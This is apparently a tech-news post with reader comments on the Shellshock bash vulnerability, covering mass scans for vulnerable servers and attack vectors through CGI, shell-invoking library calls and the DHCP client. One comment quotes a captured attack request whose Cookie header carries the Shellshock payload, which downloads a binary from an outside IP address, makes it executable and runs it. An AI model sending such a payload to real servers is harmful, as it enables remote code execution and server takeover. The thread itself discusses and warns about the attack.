Flurry of Scans Hint That Bash Vulnerability Could Already Be In the Wild

The recently disclosed bug in bash was bad enough as a theoretical exploit; now, reports Ars Technica, it could already be being used to launch real attacks. In a blog post yesterday, Robert Graham of Errata Security noted that someone is already using a massive Internet scan to locate vulnerable servers for attack. In a brief scan, he found over 3,000 servers that were vulnerable "just on port 80"—the Internet Protocol port used for normal Web Hypertext Transfer Protocol (HTTP) requests. And his scan broke after a short period, meaning that there could be vast numbers of other servers vulnerable. A Google search by Ars using advanced search parameters yielded over two billion web pages that at least partially fit the profile for the Shellshock exploit. More bad news: "[T]he initial fix for the issue still left Bash vulnerable to attack, according to a new US CERT National Vulnerability Database entry." And CNET is not the only one to say that Shellshock, which can affect Macs running OS X as well as Linux and Unix systems, could be worse than Heartbleed.

Comments

Re:"could be worse than Heartbleed"

[QuietLagoon]

Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

This blog post mentions php, c++, python, et alia, as another attack vector.

This means that web apps written in languages such as PHP, Python, C++, or Java, are likely to be vulnerable if they ever use libcalls such as popen() or system(), all of which are backed by calls to /bin/sh -c '...'. There is also some added web-level exposure through #!/bin/sh CGI scripts, calls in SSI, and possibly more exotic vectors such as mod_ext_filter.

Yes it is being exploited

[xanthos]

There is evidence that this is being exploited in the wild.
Nginx and Apache servers using mod_cgi are two potentially vulnerable services.

The risk is that it is possible to modify environment variables which then could allow the execution of arbitrary code with the permissions of the parent process.

An example attack:

GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;

Over at the Internet Storm Center http://isc.sans.org/ they have been updating their advisory and and a have a simple one-liner to test if a system is vulnerable.

Re:"could be worse than Heartbleed"

[Kiwikwi]

Outside of malicious HTTP headers landing in environment variable in CGI land, I'm hard pressed to think of another reasonable vector for this bug to be a problem...

Unfortunately, attackers do not share your lack of imagination.

First of all, the CGI vulnerability is not about CGI scripts written in Bash, this is about any CGI script that at any point invokes a shell or invokes a program that invokes a shell (e.g. using the system call), irrespective of the actual shell command, on a system that uses Bash as the system shell (so pretty much all non-Debian based Linux distros).

Got that? any CGI program + any non-Debian Linux => vulnerable. (For once, the PHP programmers are ahead security wise due to the ubiquity of mod_php...)

Second of all, there are all kinds of non-CGI situations in which untrusted data is passed in environment variables. This is normally not a problem... unless that environment variable at any point is inherited by Bash.

The ISC DHCP client (dhclient) is the canonical example, as it runs a distro-specific shell script to set up the network once it gets a DHCP lease. Unustrusted values from the DHCP server are passed - you guessed it - in environment variables.